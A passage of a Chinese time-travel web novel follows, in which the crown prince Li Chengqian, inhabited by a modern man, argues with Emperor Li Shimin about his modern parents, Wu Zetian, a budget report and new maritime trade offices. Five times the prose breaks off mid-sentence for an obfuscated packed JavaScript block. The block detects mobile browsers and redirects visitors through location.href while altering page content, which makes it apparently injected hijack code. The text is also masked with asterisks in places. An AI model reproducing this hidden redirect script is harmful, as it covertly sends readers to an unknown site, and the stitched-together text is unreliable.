李承乾在皇帝左侧下首坐了,道:“陛下有所不知,臣大学专业就是高等数学,陛下可以理解为高等算学。谈不上喜欢,只是知道些许。” 李世民道:“朕听你说过,你也算是地方小吏,那个时代对算学如此重视吗?” 李承乾道:“臣所在的那个时代,对各个学科都很重视,在进入高等学府之前,臣学的知识大类涵盖所有学科,进入大学之后,这些学科被细化成各种专业。” “谈不上爱,你为什么选择学算学,不,数学?” 李承乾道:“数学是自然科学的基础,所有的科学发现都离不开数学,高科技武器的进步的基础也是数学,臣经历过国家百年**,自然也希望能在数学领域为家国做出些贡献,刚好臣也能学懂一些。” “所以,你是一个专攻数学的小吏。” 李承乾摇头,道:“臣若专攻数学,那就是学者,不会是一个小吏。” 李世民道:“那你为什么又改了志向?不攻算学了?不想为家国做贡献了?” 皇帝真是逮着机会不忘挖苦他,李承乾道:“大学期间,离开父母,回去的时间少了,导师的课题研究很多,臣假期也很少回去,每一次回去,看到父母殷切的目光,臣心里头也不好受。陛下有所不知,臣所在的时代,有一个群体叫做留守老人,陪着儿女长大却无法被儿女陪着终老。臣的父母,放在臣那个时代,对臣也是极好的,臣是个很偏执的人,千年轮回也是很拧巴,他们循循善诱,纠正臣身上的不足,他们如父如母如师如友的教导,帮助赐恩真正脱胎换骨。” 李世民笑的有些不自然,有些心梗,早知道就不聊这个话题了。 “他们陪着臣长大,臣不想他们晚年无儿女在身边尽孝,臣想陪他们老去。一番纠结之后,臣暂时放下了高等数学。研究生转修社会学,在当地一个公司上班同时备考,研究生学业结束,臣也顺利考了当地一个小吏,部门比较清闲,朝九晚五。那时的生活真好,臣一觉醒来,妈妈准备好了早餐。下午臣回来的早,臣准备晚餐,我爸回来的早就是他下厨,一家人其乐融融,共享天伦之乐。空闲时间,研究一下数学题,巩固巩固知识。如果没有那一场意外,臣现在估计已经找到志同道合的女友结婚生子,我爸妈退休也过上含饴弄孙的日子了。等到儿女长大,父母终老,臣又可以重新攻高等数学。” 提起那边的父母,李承乾的眼睛都在发光,李世民听得很不痛快,看的更不痛快。他和李承乾做君臣,不代表李承乾不是他儿子。再说了,也不是他想只做君臣,是李承乾不认生父,自己儿子当着自己的面,思念的父母不是他,越想越觉得堵心。 “象儿,真是可惜了,生错了时代,若是臣没有来到这里,他托生在臣膝下,以他在数学上面的天分,只要他愿意,臣必定倾全力托举他。可惜了,实在是可惜了,生在了这个时代。” 李世民道:“他做的那些算数题,的确挺难的。” 李承乾道:“那几道题,算什么难度?臣都能口算,也就臣所在时代十二三岁的小学生的水平,象儿才九岁就能学的懂,可惜了这一身数学的天分。臣的才学有限,最多教到大学的高等数学,他要是在后世,绝对不会止步于大学高等数学的学习。” 李世民抿了口茶汤,道:“承乾,你还真不谦虚啊!” 李承乾尴尬一笑,道:“抱歉,臣忘了时代不一样,况且现在的人也没后世的人那么重视数学。” “陛下专门来中书省找臣,是有什么吩咐吗?” 李世民觉得他的血压可能又要上去了,李承乾真是没把他往好处想一点。 “次次都是问朕有什么吩咐,承乾,你换一句行不行?” 李承乾思索片刻,道:“陛下驾临,不知有何指示?” 李世民:…… “行了,你不用换了!” 李承乾道:“所以,陛下此来所为何事?您赶紧吩咐了,臣还要去做预算报表。” 李世民道:“那个武才人,你还有印象吗?朕只知道她姓武,长相没看清楚,朕只知道是贞观十一年驾幸洛阳召入宫中,具体籍贯姓名都没梦到。” 皇帝这是动了杀心,理解,一个夺过自己江山社稷的人,动杀心很正常。不过,他和武则天又没什么过结,武则天上位也没有戕害他的儿孙,他没必要对武则天赶尽杀绝。 “陛下,有些人或事,他们降世就是带着某种任务而来,这是天道,若陛下不知武才人往后行为,无意间杀了她,那是她的命数,陛下勘探天机杀她,怕有逆天而行之嫌,恐遭反噬。” 李世民道:“无稽之谈!” 李承乾道:“女主武王有天下,陛下晚年就有这个传闻,为此陛下还冤杀了李君羡。有些事情,冥冥之中早就注定,非人力可改。” 李世民:…… “武家的女儿,清理别家子孙狠辣,收拾自己亲生的也不手软,臣爱自己的孩儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407360|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,胜过爱臣自己的性命,武家的女儿,臣敬而远之。雉奴和他的子孙同武家的女儿有姻缘,又不是个个李唐皇子和武家的女儿都有姻缘。陛下得饶人处且饶人,别把自己后路堵**。” “什么?”李世民目瞪口呆,道:“雉奴不知道武家女狠辣就罢了,他的儿孙好不容易夺回李唐神器,还要扑到武家女身上?” 李承乾道:“是啊!一日杀三子,儿媳变贵妃,那位可比雉奴狠。”以一己之力险些干翻大唐,绝对的狠人! 李世民脑袋又开始嗡嗡响了,他纳杨王妃,至少他和李元吉同辈分,后辈儿孙,娶小妈,纳儿媳,都这么没品吗? “陛下不必大惊小怪,后面的唐朝皇帝,纳庶祖母的都有。臣刚开始还跟着骂**,后面一看,一个比一个会玩儿,也就不足为怪了。” 李世民气的胸口起伏,脸色涨的通红。 李承乾观察皇帝脸色,默默地闭上嘴巴,避开这一茬,这还是品德问题。他还没说安史之乱,国都六陷,天子九迁,藩镇割据,宦官和大臣争权拿皇帝当人质,宦官专权厉害到包揽皇帝生死**。 “那群不孝子孙不是你的,你当然不足为怪。” 李承乾顿了顿,道:“臣的子孙有记载的私德没有问题,能力也还尚可,没记载的臣也不知道。有的时候,知道的太多也会是一种痛苦。” 室内静默良久,李世民突然看向李承乾。小兔崽子,终究还是承认了,自己是李家的子孙了。 “承乾数学学的那么好,你说的高科技武器,你会的一定很多吧?” 李承乾笑道:“臣一个都不会,臣所在时代的高科技武器,已经发展到一刻钟打到三**之外,顷刻间灭一国的程度。这些技术,在臣那个时代,都是顶端的绝密技术。” 这样自信且骄傲的笑容,李世民也十分好奇,那究竟是一个怎样的时代,能让李承乾不要太子之尊,甘心回去做一个小吏。 “冒昧的问一句,你挨过打吗?” 李承乾:…… 刚穿回来,跟皇帝较劲,他被打了好几顿呢! “朕的意思,你那边的父母,打过你吗?” 李承乾点头,道:“打过一次,臣酒水不过三盏的规矩,就是这么定下的。” “朕明白了,以前你在东宫胡作非为,朕就应该下令打你一顿,一顿不行就多打几顿,你也不至于走上后面的路。” 李承乾垂眸良久,不知该怎么评价自己从贞观十四年到十七年,那三年人不人,鬼不鬼的样子。不过,皇帝在这里扮慈父恶心他,他也不介意恶心回去。 “您那个时候,去魏王封地赦免死囚,臣记得这是天子的特权,参加魏王修建佛像落成仪式,每一天都要召见魏王,一天不见还要飞鸽传书。忙着魏王积攒名声,壮声势,巴不得臣自己把名声搞臭,好废黜太子,还有心思来教育臣?陛下您就别自我感动了。” 第107章 空巢老人 李世民脸上的笑逐渐消失,李承乾是懂得怎么诛人心的。 “那你之前做出的火器,算不算高科技武器了?” 李承乾道:“勉强算个**,科技有但谈不上高,您也太给它面子了。” 李世民:…… “时间太短了,臣要是有足够的时间,慢慢儿研究,做出来的绝对比那个还要厉害。” 李世民道:“那朕是不是该谢谢你,没有面上讨好朕,私下里炸死朕。” 李承乾顿了一顿,估计是被他刚才那句话刺激到了,皇帝说话夹枪带棒。 “您要不要听听您在说什么?朝廷突然没了个皇帝,会引来怎样的变动。别的不说,吐蕃和突厥残部肯定要联合周边异族落井下石。隋末乱世才几年功夫,武德一朝致力于南北统一,战争不断,贞观年间才整个开始与百姓休息,百废初兴,朝廷哪里经得起糟践?况且,没有父子之情,陛下也是臣崇敬的君王。无论陛下信不信,臣都不会伤害陛下。” 李世民深吸一口气,总算听到一句顺耳的。 李承乾道:“陛下,武才人的事情,臣希望您三思而后行,要是没有其他什么事情,臣就去做预算报告了。” 李世民抬抬手,示意李承乾可以滚了。 李承乾起身拜了一拜,退出殿外。 李象已经解出题目,李承乾看过之后,找了宫人将儿子送回去。 加班回去太晚,安慰完媳妇儿,没时间陪儿子,李承乾提前两刻钟回东宫了。 “殿下今日回来的这么早?”苏氏迎了上去,道:“妾身这就吩咐下人备膳。” 李承乾道:“这小家伙听话吗?有没有折腾你?” 苏氏道:“才两个月,听说妇人妊娠,要五个月之后,胎儿才会动。” 李承乾笑道:“希望这孩子听话些,别折腾他阿娘,不然的话,出来我要好好的收拾他。” 苏氏道:“殿下给孩儿取好名字了吗?” 李承乾默了默,李厥的名字出自成语允厥执中,意思是不偏不倚行中正之道,中正,贞观也,也是他迎合父亲,向父亲示好的寄托。 李厥,也确实替他挽了一把圣心。孩子名字和寓意报上去之后,皇帝在东宫大宴群臣,多有赏赐。 昙花一现的荣宠,仅是那片刻,又跌回现实。思及过往,李承乾心下愧疚,作为父亲他将孩子当做争宠和取悦他人的物件,实在是有愧于为人父。 “觉,李觉。《尚书·大传》中有这么一句话,觉兮校兮,吾大命格兮。觉,乃是贤者,智者之意。这个孩子,要继承我的一切,这个名字再合适不过了。你觉得这个字好不好?不好的话,我再去翻书。” 苏氏信佛,觉通悟,聪慧之意,她对这个名字十分满意,蹲身向太子拜谢。 李承乾下意识去扶,没让苏氏行礼,道:“父亲给孩子取名,为父之责,怎么还要你向我拜谢。” 苏氏道:“妾身随口一说,殿下如此重视,妾身受宠若惊。” 李承乾笑道:“苏卿要这么说,等这个孩子启蒙,我都不敢亲自把他带在身边教导了。” 苏氏愣了一愣,大族男子薄情,孩子将来的成就,同家主的疼爱和托举密切相关,何况她嫁的是太子,太子愿意亲自启蒙教导,父子情意和地位都是往后的孩子不能及的。 “象儿近来扑到算学上了,朝廷明经有算学,可到底不是正途,制考的内容就是朝廷治国的策略,妾身觉得象儿的功课,还是要以儒学和老庄为主。” 李承乾苦笑,万般皆下品,惟有从政高,古今如是,理解,特别理解! “象儿是殿下长子,通算学没什么,沉迷算学传出去不好听,对他的名声也不好。” 天下母亲无不爱自己的儿子,只要太子不动摇她孩子的地位,李象一个庶子,太子宠着,她也乐意好生养着。 李承乾笑道:“象儿的功课你也知道些许,我费了那么大的劲儿,才稍稍好了些许。他喜欢喜爱算学,就随他去,我也少费些心力。” 苏氏默了默,没再说话,她有心拉李象成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李承乾叹气,过几年这孩子成年成亲,搬出东宫,封王外出就藩,再见面就难了。从前感慨空巢老人,真想到自己做空巢老人,还是有些悲从心来。 第108章 小凤凰 年节七日,李承乾用了五日,拿着做好的河南县预算报告去甘露殿拜见李世民。 皇帝抱病,非必要不出席宴会,赐宴更是想都不用想,贞观十三年年初的太极宫显得有些冷清。 得知李承乾进来拜见,李世民放下兕子,叫乳母把女儿抱走。 看李承乾落座,李世民直接问道:“你这个速度,挺快的啊!” “数据什么的他们之前都整理出来了,臣只是重新算了一遍。删减了些不合理的开支,又添了一些被忽略却十分必要的预算。” 李承乾将整理成册的报告交上去,道:“预算只是一个大概数据,不能完全反应具体情况,还是要看年尾的决算,暂时就这样,往后成了定例,准确性会更高。” 李世民翻开首页,就是一个巨大的线格表,密密麻麻的一堆数字,遇到重要的地方还十分贴心进行标注,生怕人看不懂。 “你这个账,算的细。” 李承乾道:“跟钱有关,不细能行吗?” 李世民合上预算册子,道:“开朝了给尚书省,让他们和民部照着这个标准,重新做今年的预算。” 李承乾谢过皇帝,张口就要告辞,皇帝似乎猜到了李承乾要说什么,道:“你真的不给李象请师傅了?” “象儿弘文馆,一个师傅教一个学生,回东宫臣也教他一个学生,有什么区别?” 李世民道:“你那点儿小心思朕还不知道了?你怕你万一天不假年,朕立了雉奴为君,李象学问被你辅导上去了,在弘文馆处处压了雉奴一头,你怕你身后,雉奴成了新君,报复李象,还会迁怒你和苏氏的孩子。” 李承乾沉默半晌,道:“陛下圣明。” “朕不会立雉奴为储,就是你天不假年,朕也不会立雉奴为储,你把心放在肚子里。” 李承乾低头呷了口茶,皇帝的承诺,他一个字都不信。 “陛下将雉奴带在身边亲自教导,他的衣食起居无不过问,陛下病中雉奴侍疾,陛下看他眉眼间都是笑意与温柔,平日里说话,轻声细语生怕吓到他,头风折腾的陛下生不如死,陛下还不忘给雉奴写《帝范》,这样的情意,说放下就可以放下吗?” 李世民愣了一愣,道:“你怎么会知道这些?” 李承乾道:“臣怎么知道陛下不用管,臣说得是事实,不是吗?” “你在怨为父。” 李承乾心口处传来闷闷的疼,同样是太子,被那样区别对待,说不怨是假的。 “只是不相信陛下的话。” 李世民道:“承乾,君无戏言。” 李承乾道:“陛下也不止一次的向朝臣说您没有废太子之心,可您做了什么,其中指意不明显吗?陛下敢摸着自己的心,说一句,在臣腿瘸了之后,您没有废太子之心?” 李世民无言,殿内静默良久,他终于开口打破沉默,道:“朕下诏封你的嫡长子为皇太孙,这样你愿意信了吗?” 李承乾起身行了稽首大礼,道:“果真如此,臣替李觉拜谢陛下。” “李厥,朕记得你说过,允厥执中,乃是中正之意,合朕的贞观。朕的贞观盛世,从朕的嫡长子到朕的嫡长孙,是个好意头。” 李承乾道:“不是允厥执中的厥,是觉悟的觉,觉醒的觉。《尚书·大传》有言:觉兮校兮,吾大命格兮。觉,乃是贤者,智者之意。佛语之中:觉通悟,是聪慧之意。” 李世民心下难受,道:“朕觉得厥,也挺好的。” 李承乾道:“臣从前取这个名字,是为了取悦陛下,行谄媚之事。臣有愧于孩子,他的出生,应该是被给予美好的祝愿,而不是取悦谁的工具。” 李世民眼泪缓缓落下,良久,才颤着声音道:“承乾,你是懂得如何诛心的。” 李承乾道:“臣只是被父母教好了,懂得如何做父亲。” “你真的懂吗?” 李承乾道:“臣知道您的意思,所有人都觉得象儿是庶子,养活他就好了,不该给宠爱,更不该付出心力教导。陛下放心,象儿成婚封王之后,臣绝不留他,照规矩送他去就藩。纵有万千不舍,也不会坏规矩留他在身边。臣对象儿的疼爱,绝对在朝廷规制之内,不会让他伤了觉儿的体面。” 李世民看着李承乾,良久不语。 “好好被父母养过的高明,看到历史书上关于象儿觉儿的只言片语,午夜梦回会痛苦千年前的自己枉为人父。回到这里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410560|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高明,替承乾尽了为人父的责任,好好的爱他们,将他们教好,放在属于他们各自的位置上。陛下,您应该开心,臣不是承乾,可这副身体是承乾的,象儿和觉儿是承乾的孩子,您的孙儿,历经千年,他们终于得到了他们应该从父亲身上得到的东西。” 李世民道:“朕的儿子被别人养好了,教好了。” “陛下,承乾他**,臣……” “闭嘴!”忍了个把月,李世民到底还是忍不了了,三步并作两步上前,拽着李承乾到内室,一脚踹到李承乾膝弯处,呵斥道:“跪下!” 李承乾正要起身,就见皇帝提着一臂长的竹尺过来。 “陛下用的是家法还是国法?” 李世民照实往李承乾身后甩了两尺子,道:“国法?要朕动国法,你把话拿去前朝说,你看看前朝的大臣会不会觉得你疯了?知道真相的他们,会不会上疏要朕烧死你?这种鬼神之事出来,连带李象,太子妃以及她腹中的孩儿,都会被当做妖孽。李承乾,你敢这么跟朕放肆,难道不是捏准了朕不会要你的小命?朕若只是你的君,你敢这么放肆?” 李承乾被堵的没话,老板若只是老板,做员工的他的确不会这么嚣张。 “国法?你要实在要挨国法也行。高明,承乾是朕的太子,诅咒承乾可是大罪,朕现在就让人把你拖到院子杖责八十。” 皇帝要逼他受家法,又要逼他认父,李承乾越想越觉得憋屈,道:“这副身体,可是你儿子的。” 李世民冷笑道:“被个邪祟占着,不要也罢!” 邪祟…… “是了,陛下本就盼着臣死,死后变成个邪祟,正好应了陛下金口玉言。” 还敢顶嘴,李世民气的胃疼,骂道:“逆子!” 抡起尺子就要打,李承乾哪里肯乖乖受罚,起身就跑,李世民道:“殿外有玄甲军戍卫,能叫你跑出去了,他们就没必要在朕身边当值了。” 跑不掉,乖乖挨打是不可能的,李承乾恶胆顿生,转身直接向皇帝扑上去了。 都是被打,肉搏失败了被摁着打,好多束手挨打。 李世民怒意顿消,丢了尺子,迎上了李承乾的攻势,这才像他的小凤凰。 第109章 皇商 又是老招数,反绞他的双手,踹他下跪,李承乾厌恶极了这招,道:“你不是说我邪祟吗?直接拿出你战场上**的招数,杀了我啊!” 李世民冷哼一声,手上微微发力,李承乾疼得瞬间起了一身冷汗。 “朕会**,可朕更喜欢诛心。”言罢,李世民将人松开,道:“再来!” 来就来,他先动手是犯上,皇帝让他动手就不是了,李承乾再次扑了过去,眼看皇帝又是老招数,李承乾一个侧身,避开皇帝的擒拿。 李世民含笑点头,十分满意李承乾的进步,兔崽子吃了这么多次的亏,总算长了点儿记性。 “那个小吏和教书先生那么好,没教你武功?也不见得把你教的多好,亏你还当个宝。” 李承乾才缓了一口气,听皇帝议论他爸妈,气血泳又扑了上去。 李世民避开的一瞬间,右手已经扣住李承乾的肩膀,李承乾急忙转身,又正中李世民下怀,右手顺势上滑,轻而易举握住了李承乾的脖子。 呼吸不畅,李承乾本能去抓皇帝的手,李世民松开李承乾,往后退了两步,双手背在身后。 李承乾又一次扑上去,李世民故技重施避开,扣住李承乾的肩膀。有了上一次被锁喉的教训,李承乾微屈,绕皇帝右臂下一个翻转,成功从皇帝辖制下脱身。 看李承乾又扑了上来,李世民实在没眼看,这种横冲直撞式的打架,怪不得在战场上次次没命,本想一个扫堂腿结束战斗,又怕控制不好伤了李承乾,便打消了这个念头。老招数擒拿,李承乾紧急闪避,没避开。 李承乾后知后觉,刚才皇帝陪他玩儿,认真动手,他根本没机会避开皇帝的攻击。 李世民道:“逆子,就你这两下子还敢跟朕打擂台,不知死活。” 李承乾死命挣扎,却是毫无反抗之力,他恨极了这种被死死压制的感觉。 “我爸妈教的不好,也比你养而不教的好。别给我说你找了老师教我,我有错他们骂我认,我没错他们罗织罪名也要骂我,他们是老师吗?他们是你的帝王鹰犬,看陛下你的眼色行事,撕咬我的血肉,踩着我的尸骨,拿陛下你的赏赐,在青史上留名。说我奢侈享乐,我修缮东宫旧居,有李泰那一坊之地的芙蓉园还要奢侈?说我挥霍无度,李泰的用度是我的数倍,到底谁挥霍无度?为何没有人敢指摘他?我在黔州不明不白的**,你细心呵护的好儿子李治,上位之后连李泰给你奔丧的机会都没给,没过两年李泰也死在封地了。你亲手毁了我和李泰,还要惺惺作态扮演什么慈父,你根本不配为人父,你**那条心吧!你说得对,无论我如何否认,改变不了我是李承乾的事实,可我告诉你,这辈子我永远都不会叫你父亲,永远也不会,**那条心吧!永远,永远都别想。” 李世民把李承乾松开了,沉声道:“不想叫就不叫,那个小吏和教书先生没强求你,朕现在也不强求你,气撒够了,就回你的东宫去。” 李承乾愣在当场,李世民见状,叹道:“那个小吏和教书先生,把你教的很好,朕用《帝范》教雉奴,可现在的你不需要了,你的品德很好。你怨朕对雉奴慈爱,对你不慈,可是承乾,朕愿意做父亲,你还愿意做朕的儿子吗?” “不,我不愿意,好不容易摆脱了你,我再也不要同你做父子了。” 说完,李承乾头也不回的离开寝殿。 李世民揉着鬓角,扶着床榻坐下,看到太子出去,张阿难赶忙进来伺候,李世民看到来人,吩咐道:“你去安排,改原齐王府为晋王府,叫人好生打理一番,上元节过后,将晋王迁出甘露殿。这些孩子,真是没一个让人省心。” 一架打的李世民往后两天都没去东宫,魏叔玉、房遗直等人雷打不动到东宫打卡,各种吐槽自家老爷子。 李承乾默默在心底默默给众人点了蜡,古代家长鸡娃程度,丝毫不输后世家长。 初七开朝当日,早朝李世民将李承乾做的预算报表送到马周手上,道:“这是朕命太子做的河南县预算,你们看一下,没什么问题的话往后地方预算就按照这个标准来。” 马周大略扫了一眼,密密麻麻的表格数据,还是第一次看有人这么做预算,但确实清晰明了。 “如此庞大的计算,臣等需要回去计算一下,三省各部门要进行推敲,如果没有问题,可以下发施行。” 李世民道:“这份预算前天交上来,朕昨日专门找了十个人用算盘珠子核算了一遍,计算的数据没有任何问题,考虑的问题也很是全面,你们要是觉得有什么不当之处,下了早朝就回去看,朝议同朕说。” 房玄龄不着痕迹看了马周手上的预算册子一眼,这预算绝不是皇帝下令太子做的,皇帝这是不愿意太子树敌大族出身的官员,直接把事给揽了。 “陛下已经找人核算过了,那必然是没问题的,直接让民部下发,让各道治下县级官员照着上交预算。” “中书令说可以,想来不会有问题。”李世民看向马周,道:“马卿,你是民部尚书,你可要再次核算?” 马周道:“太子殿下辖制尚书省,预算是陛下让太子殿下亲自做的,中书令所在的中书省审核通过,臣必定与魏侍中协同门下省各部有司,将此事落实。” 李世民满意点头,道:“自隋末以来,天下大乱,民不聊生,我大唐立国以来,与民休息,而今百废俱兴,海外贸易往来频繁。其中以广州、泉州、扬州尤甚,可是朝廷在有关海外贸易管理上,还没有一个全面的方案。” 李承乾愣住,他之前上疏设立皇商,由朝廷接管海外贸易,皇帝始终压着他的奏疏,后来同意了,却也是要他去得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412070|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪这个人,现下皇帝亲自下场办理此事,他自然知皇帝对他的维护之意。 扬州海外贸易的贸易据点之一,直接关联江东士族的利益,作为江东士族朝堂话事人的萧瑀第一个站出来,问道:“不知陛下要如何进行管理?” 李世民道:“朝廷此前没有管理的先例,同外商进行贸易往来的一直是民间的商户,朝廷只向商人收税,这样下去不好。朕的意思在广州、泉州设立市舶司,扬州海口主要以丝绸贸易为主,设织造局。册封市舶使,织造使,官阶四品,总管对外贸易。” 萧瑀道:“陛下,官不与民争利,何况是朝廷,陛下设立市舶司、织造局,收民财于官中,实在是有悖圣王之德。” 李世民道:“汉朝的武帝将盐铁官营,当年也是掀起了一阵议论,可于国有利,被沿用至今。朕今设市舶司、织造局同理。” 张亮也出面劝阻道:“汉武横征暴敛,民不聊生,险些造成亡秦之祸,陛下岂能效仿汉武帝?” 杨师道紧随其后,道:“臣也以为不妥,这同盐铁不可同一而论,朝廷直接从商人手里抢生意,传出去百姓会说朝廷吃相难看。” 李世民紧了紧拳头,就差没说他吃相难看了! 高士廉也出列反对,道:“盐铁和商贸怎么可以扯到一块,自古以来没有这个道理。哪有朝廷大行商贾之道的?这是本末倒置!” 经营海外商贸的商人,背后都有世家大族站台,此举无异于同整个大族为敌,大族之下又依附有寒族,堪称虎口夺食。 李世民道:“朕此番做法,只是规范对外商贸,不是要朝廷行商贾之道,更非与民争利?” 侯君集道:“要规范对外贸易可以立法,派遣官员亲自管理,杀鸡焉用牛刀?” 李承乾看向侯君集,代北士族的朝堂话事人。此人当年支持他,一来被皇帝冷落心存怨恨,二来提升代北士族在朝堂的影响力,三来觉得懦弱他好控制。 细数刚才发言的官员,关陇、江东、山东、代北,四大世族聚齐了,一个都没少,真团结。李承乾看向皇帝,皇帝爱名声,愿意拉下名声,将他剥离出是非 不表态本身就是一种站队,他从来都在是非中,李承乾起身向皇帝拜了一拜,道:“陛下,臣有一言,请诸公静听。” 李世民耐心已经耗尽,正欲单方面结束争论,直接武力威慑,下诏施行此事,就见李承乾起身,他不愿李承乾掺和此事,是不愿太子树敌太多。 皇帝正要开口驳回,就听李承乾道:“陛下的意思是要对外商进行管理,以规范唐人对外商贸,规范外商在唐行为,这本就是朝廷治理的责任。诸公认为不该,那么请问诸公,若无朝廷统一管制,安知这些外商得势之后,不会在中原大地胡作非为,威胁地方安定,引起不必要的**?” 第110章 刷声望 递到嘴边的话,李世民当即接过来,道:“当初讨论年号时,国舅提议天祐,中书令说天祐不好,看着像是把治理的责任推给上天,显示不出治理的决心。规范商贸,管理外商,是朝廷治理的责任。现在已经是贞观十三年,朕治理的决心未改,诸公却没了当初辅佐的初心。” 李承乾默默给皇帝点赞,这才是吵架,对方拿出与民争利道德**,解释就陷入被动了,直接**回去才是真理。 天佑? 李承乾听到这个年号,大脑有那么短暂的空白,这个年号似乎是大唐王朝最后一个年号,厉害了,这一波长孙无忌跳预言家。 萧瑀道:“几个商人而已,太子殿下言过其实了。” 李承乾轻笑,还是学之乎者也的人会吵架,皇帝的道德**不接,直接换个对象转移矛盾。 “萧侍郎,现在是陛下问话,你是不是先回君上的话?陛下问诸公,是否要将朝廷治理的责任,交给商贾?” 把朝廷治理的责任交给商贾,李世民险些没憋住笑,兔崽子胡搅蛮缠的本事,着实让他大开眼界。 大臣们反对设立市舶司和织造局,是因为一但朝廷插手接管,会损害到商贾背后世家大族的利益。 下放朝廷治理的权力给商贾,这于士农工商埋入骨子里的朝堂诸公而言,无异于将他们的脸面放在地上踩。 岑文本当即反驳:“朝廷治理的责任,怎么可以交给商贾,贻笑大方。” 李世民道:“朝廷治理的责任不能交给商贾,你们又不同意朝廷对商贾进行治理,那你们说,该怎么办?” 侯君集道:“臣觉得,保持现状就很好。” 李世民道:“侯卿的意思,还是要将朝廷治理的责任推给商贾,还是外商。” 侯君集闭麦,张公谨出列道:“一开始讨论的是设立市舶司和织造局,与民争利不合情理,太子殿下却扯到了朝廷治理的责任,还是继续说朝廷设市舶司和织造局与民争利的本源问题。” 李承乾道:“陛下设立市舶司和织造局的目的,是要规范对外商贸,管理外商在唐交易,这就是问题的本源。” 李世民接过李承乾的话茬子,继续道:“设立有司,对民众进行管理,就是朝廷治理的责任,也是问题的本源。如果把朝廷的治理说成是与民争利,那么协同朝廷治理的诸公,你们的存在……” 皇帝说话点到为止,刚才反对的众人集体沉默。 一刀命中要害,李承乾暗叫刺激,还以为皇帝嘴毒是冲他一个人来的,结果皇帝是平等的创死所有人。 “中书令,朕看你久久不语,可是有了主意?” 房玄龄道:“诸公争论这许久,臣也在思考此事。发现前人不曾发现的问题,解决前人没有解决的问题,这就是治理,治理是一个不断完善的过程。朝廷治理的责任,不能推给商贾,故臣以为,当设立市舶司和织造局,同时还要立法,规范管理对外商贸以及外商的问题。” 马周道:“臣附议!之前要做新预算,也说是没有先例,玄成公那句话说得好,没有先例就开创一个先例,若是可行,那就是造福后世的惯例。他今日抱病,若是来了,也必定会赞成陛下此举。” 李承乾道:“臣也附议!” 理屈无力辩驳,众大臣哪怕心有不甘,也只能跟着一起附议。 李世民满意点头,武力也可以推行下去,可手段太过强势,朝野上下弥漫一股惴惴之气,并不适合治理,他还是倾向于大臣点头,君臣一同将政令逐步落实。 “陛下,太子殿下东宫只一个太子妃,不符合朝廷规制,皇后殿下逝世,陛下应当为太子殿下安排,绵延子嗣。” 这是要给他选妃? 李承乾头皮发麻,他一个现代人跑古代来,三观不合,娶妻完全搭伙过日子,一个太子妃他觉得够了,他们夫妻两个和尚挑水吃,再添几个,水没得吃,还得担心后院起火。 “中书令,早朝议的是朝廷大事,是天下苍生的福祉,孤的私事就不用占用早朝时间。” 李世民看向李承乾,蹙了蹙眉,不愿意选美,不会是还喜欢男的?那个称心? 韦挺道:“太子殿下,天家子嗣绵延,怎会是私事?臣附议!” 没等李承乾开口,就是接连一堆附议,李世民抬手示意众大臣归位落座。 “太子,东宫只太子妃一人的确有些少了。此事,是朕疏忽了,朕让贵妃办一场赏花宴,为你细心挑选几个充入东宫。” 李承乾忙起身向皇帝拜了一拜,道:“陛下,太子妃有妊,臣不患无嗣,纳妃一事,臣不愿意。” 李世民真想扒开李承乾脑袋,看看李承乾脑袋里装了些什么东西,前朝大臣才不会关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412071|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子子嗣绵延的问题,是看中了太子地位稳固,想要塞女儿进东宫,与未来新君进行姻亲绑定。 “诸卿提议甚好,只是咱们太子和太子妃新婚燕尔,暂时不愿纳妃,此事暂且搁置。” 成婚四年的新婚燕尔,众大臣不言,您是皇帝,您说了算! 李承乾默默松了口气,皇帝开口替他挡了灾,就不用他跟大臣们纠缠了。 